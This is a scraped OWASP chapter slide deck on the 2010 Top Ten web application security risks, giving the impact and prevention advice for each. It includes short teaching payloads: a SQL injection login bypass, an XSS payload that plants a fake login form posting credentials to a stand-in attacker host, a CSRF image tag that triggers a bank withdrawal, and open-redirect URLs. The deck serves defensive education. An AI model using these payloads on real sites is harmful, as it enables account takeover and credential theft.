OWASP The OWASP Foundation http www owasp org

  • Slides: 36
Download presentation
OWASP The OWASP Foundation http: //www. owasp. org Manchester Chapter The OWASP Top Ten

OWASP The OWASP Foundation http: //www. owasp. org Manchester Chapter The OWASP Top Ten Most Critical Web Application Security Risks 2012/02/01 Simon Bennetts OWASP Zed Attack Proxy Project Lead psiinon@gmail. com Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Top Ten • Most Critical Web Application Security Risks Threat Agent Attack

The OWASP Top Ten • Most Critical Web Application Security Risks Threat Agent Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Business Impact ? Easy Widespread Easy Severe ? ? Average Common Average Moderate ? ? Difficult Uncommon Difficult Minor ? • A great place to start • Current list published in 2010 • Well known and well regarded • But … the vast majority of websites still have a high, critical or urgent issue 2

The OWASP Top Ten A 1: Injection A 2: Cross-Site Scripting A 3: Broken

The OWASP Top Ten A 1: Injection A 2: Cross-Site Scripting A 3: Broken Authentication and Session Management A 4: Insecure Direct Object References A 5: Cross-Site Request Forgery (CSRF) A 6: Security Misconfiguration A 7: Insecure Cryptographic Storage A 8: Failure to Restrict URL Access A 9: Insufficient Transport Layer Protection A 10: Unvalidated Redirects or Forwards 3

A 1: Injection Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Average

A 1: Injection Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Average Severe • Tricking an application into including unintended commands in the data sent to an interpreter • SQL, OS Shell, LDAP, Xpath, Hibernate… • Impact: SEVERE! • Unauthorized application access • Unauthorized data access • OS access… 4

A 1: Injection User Server Db 5

A 1: Injection User Server Db 5

A 1: Injection (SQL) • Example UI: Name: admin ʹ-- Password: ******* Login •

A 1: Injection (SQL) • Example UI: Name: admin ʹ-- Password: ******* Login • Example code: String sql = “SELECT * FROM users where username = ʹ” + username + “ʹ and password = ʹ” + password + “ʹ”; • Expected SQL: SELECT * FROM users where username = ʹadminʹ and password = ʹc 0 rr 3 ctʹ • Resulting SQL query: SELECT * FROM users where username = ʹadminʹ--ʹ and password = ʹanythingʹ 6

A 1: Injection • Prevention: • • Use interfaces that support ‘bind variables’: •

A 1: Injection • Prevention: • • Use interfaces that support ‘bind variables’: • Prepared Statements • Stored Procedures • Whitelist input • Encode all user input • Minimize database privileges OWASP SQL Injection Prevention Cheat sheet 7

A 2: Cross Site Scripting (XSS) Attack Vector Weakness Prevalence Weakness Detectability Technical Impact

A 2: Cross Site Scripting (XSS) Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average VERY Widespread Easy Moderate • Injecting malicious content/code into web pages • HTML / javascript most common, but many other technologies also vulnerable: • Java, Active X, Flash, RSS, Atom, … • Present in 64% of all web applications in 2010 • Can be present in form and URL parameters AND cookies 8

A 2: Cross Site Scripting (XSS) • Impact: • Session hijacking • Unauthorized data

A 2: Cross Site Scripting (XSS) • Impact: • Session hijacking • Unauthorized data access • Web page rewriting • Redirect users (eg to phishing or malware sites) • Anything the web application can do… 9

A 2: Cross Site Scripting (XSS) Persistent Reflected 10

A 2: Cross Site Scripting (XSS) Persistent Reflected 10

A 2: Cross Site Scripting (XSS) • Forum: “Have you seen XYZ are being

A 2: Cross Site Scripting (XSS) • Forum: “Have you seen XYZ are being taken over? ? http: //tinyurl/jdfgshr” XYZ – We’re being taken over! https: //www. xyz. com/s=%3 C%2 Fdiv%3 E%E 2%80%9 C%3 Cscript%3 Edocument. title%3 D%E 2%80%98 XYZ%20 Search this site: Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! Username: Password: Login 11

A 2: Cross Site Scripting (XSS) XYZ – No Search Result found! https: //www.

A 2: Cross Site Scripting (XSS) XYZ – No Search Result found! https: //www. xyz. com/s=%3 C%2 Fdiv%3 E%E 2%80%9 C%3 Cscript%3 Edocument. title%3 D%E 2%80%98 XYZ%2 Search this site: No search result found for: “</div><script>document. title=‘XYZ – We’re being taken over!’; Document. get. Element. By. Id(‘results’). style. display=‘none’; </script> Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! <table><form action=‘http: //badsite. com/gotcha’> <tr><td>Username: </td><input id=‘user’></td></tr> <tr><td>Password: </td><input id=‘password’ type=…” 12

A 2: Cross Site Scripting (XSS) • View Source: : <div id = “results”>

A 2: Cross Site Scripting (XSS) • View Source: : <div id = “results”> <p>No search result found for: </p> <!-- start of users search term --> “ </div><script>document. title=‘XYZ – We’re being taken over!’; Document. get. Element. By. Id(‘results’). style. display=‘none’; </script> Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! <table><form action=‘http: //badsite. com/gotcha’> <tr><td>Username: </td><input id=‘user’></td></tr> <tr><td>Password: </td><input id=‘password’ type=… ” <!-- end of users search term --> : 13

A 2: Cross Site Scripting (XSS) • • Prevention: • Don’t output user supplied

A 2: Cross Site Scripting (XSS) • • Prevention: • Don’t output user supplied input • Whitelist input • Encode output (e. g. using OWASP ESAPI) • If you must support user supplied HTML, use libraries like OWASP’s Anti. Samy OWASP XSS Prevention Cheat sheet 14

A 3: Broken Authentication and Session Management Attack Vector Weakness Prevalence Weakness Detectability Technical

A 3: Broken Authentication and Session Management Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Common Average Severe • HTTP is stateless • Session IDs used to track state, good as credentials to an attacker • Can be accessed via sniffer, logs, XSS… • Change my password, forgotten my password, secret questions … • Impact: sessions hijacked / accounts compromised 15

A 3: Broken Authentication and Session Management • Prevention: • Use standard implementations •

A 3: Broken Authentication and Session Management • Prevention: • Use standard implementations • Use SSL for ALL requests • Thoroughly test all authentication related functionality • Use SECURE & HTTPOnly cookies flags 16

A 4: Insecure Direct Object Reference Attack Vector Weakness Prevalence Weakness Detectability Technical Impact

A 4: Insecure Direct Object Reference Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Easy Moderate • A direct reference to an object that is not validated on each request • user=psiinon@gmail. com • company=Mega%20 Corp • account=7352820 • Typically in FORM and URL parameters (cookies less likely) • Impact: accounts and data compromised 17

A 4: Insecure Direct Object Reference • Attacker notices URL: acct=6065 • Modifies it

A 4: Insecure Direct Object Reference • Attacker notices URL: acct=6065 • Modifies it to acct=6066 • Attacker can view (and maybe change? ) the victims account 18

A 4: Insecure Direct Object Reference • Prevention: • Eliminate Direct Object References (ESAPI

A 4: Insecure Direct Object Reference • Prevention: • Eliminate Direct Object References (ESAPI supports integer and random mapping) • Validate Direct Object References on each request 19

A 5: Cross site request forgery Attack Vector Weakness Prevalence Weakness Detectability Technical Impact

A 5: Cross site request forgery Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Widespread Easy Moderate • Exploits sessions established in other browser windows or tabs • Impact: Attacker can perform any action on behalf of the victim 20

A 5: Cross site request forgery Browser 1 4 example. bank. com $$$ 5

A 5: Cross site request forgery Browser 1 4 example. bank. com $$$ 5 2 3 bad. site. com <img src=“…”> <img src= "https: //example. bank. com/withdraw? acco unt=bob&amount=1000000&for=mallory"> 21

A 5: Cross site request forgery • Prevention: • Never allow GETs to change

A 5: Cross site request forgery • Prevention: • Never allow GETs to change things • Anti CSRF tokens • Viewstate (ASP. NET) • OWASP CSRF Guard • Challenge-Response • Re-Authentication • CAPTCHA 22

A 6: Security Misconfiguration Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common

A 6: Security Misconfiguration Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Easy Moderate • Another multitude of sins • Server / Application configuration • Lack of server and application hardening • Unpatched OS, services, libraries • Default accounts • Detailed error messages (e. g. stack traces) • Unprotected files and directories 23

A 6: Security Misconfiguration • Impact: • Server compromise • Exploitation of known vulnerabilities

A 6: Security Misconfiguration • Impact: • Server compromise • Exploitation of known vulnerabilities • Prevention: • Server and application hardening • Patch OS, services, libraries 24

A 7: Insecure Cryptographic Storage Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Difficult

A 7: Insecure Cryptographic Storage Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Difficult Uncommon Difficult Severe • Storage of: • Credentials • Credit card numbers • Bank account details • Any sensitive data… • In: Databases, Files, Logs, Backups … • Either: In the clear, or using weak cryptography 25

A 7: Insecure Cryptographic Storage • Impact: • Attackers access or modify sensitive data

A 7: Insecure Cryptographic Storage • Impact: • Attackers access or modify sensitive data • Attackers use sensitive data in further attacks • Company embarrassment, loss of trust • Company sued or fined 26

A 7: Insecure Cryptographic Storage • Prevention: • Identify sensitive data • Don’t store

A 7: Insecure Cryptographic Storage • Prevention: • Identify sensitive data • Don’t store sensitive data • Protect with suitable mechanisms (file, db, element encryption) • Only use standard, well recognised algorithms • Check your implementation! 27

A 8: Failure to restrict URL access Attack Vector Weakness Prevalence Weakness Detectability Technical

A 8: Failure to restrict URL access Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Uncommon Average Moderate • ‘Hidden content’ with no authentication or access control • Unprotected administrative pages • robots. txt • Impact: • Unauthorized account and data access • Access to administrative functionality 28

A 8: Failure to restrict URL access • Prevention: • For ALL (non public)

A 8: Failure to restrict URL access • Prevention: • For ALL (non public) URLs always check authentication and permissions • Use a simple ‘fail safe’ mechanisms at each layer of your application 29

A 9: Insufficient Transport Layer Protection Attack Vector Weakness Prevalence Weakness Detectability Technical Impact

A 9: Insufficient Transport Layer Protection Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Difficult Common Easy Moderate • Failure to identify all sensitive data • Failure to identify all places that the sensitive data is transmitted • Failure to employ suitable protection 30

A 9: Insufficient Transport Layer Protection • Impact: • Attackers access or modify sensitive

A 9: Insufficient Transport Layer Protection • Impact: • Attackers access or modify sensitive data • Attackers use sensitive data in further attacks • Company embarrassment, loss of trust • Company sued or fined 31

A 9: Insufficient Transport Layer Protection • Prevention: • Use SSL/TLS on all connections

A 9: Insufficient Transport Layer Protection • Prevention: • Use SSL/TLS on all connections that transmit sensitive data • Encrypt messages: XML-Encryption • Sign messages: XML-Signature • Only use standard, well recognised algorithms • Check your implementation! 32

A 10: Unvalidated Redirects and Forwards Attack Vector Weakness Prevalence Weakness Detectability Technical Impact

A 10: Unvalidated Redirects and Forwards Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Uncommon Easy Moderate • Redirects are common and send the user to a new site. . which could be malicious if not validated! http: //fail. com/redir. php? url=badsite. com • Forwards (Transfers) send the request to a new page in the same application. . which could bypass authentication or authorization http: //fail. com/redir. php? url=admin. php 33

A 10: Unvalidated Redirects and Forwards • Impact: • Redirect victim to phishing or

A 10: Unvalidated Redirects and Forwards • Impact: • Redirect victim to phishing or malware site • Attacker’s request is forwarded past security checks, allowing unauthorized function or data access • Prevention: • Validate all Redirects and Forwards 34

Where Next? • Read and understand the full document! • Read the OWASP Developers

Where Next? • Read and understand the full document! • Read the OWASP Developers Guide • Watch the OWASP App. Sec Tutorial videos on youtube • Re-examine your code! • Introduce a Secure Development Lifecycle • Use tools like the OWASP Zed Attack Proxy 35

Any Questions? https: //www. owasp. org/index. php/Top_10_2010

Any Questions? https: //www. owasp. org/index. php/Top_10_2010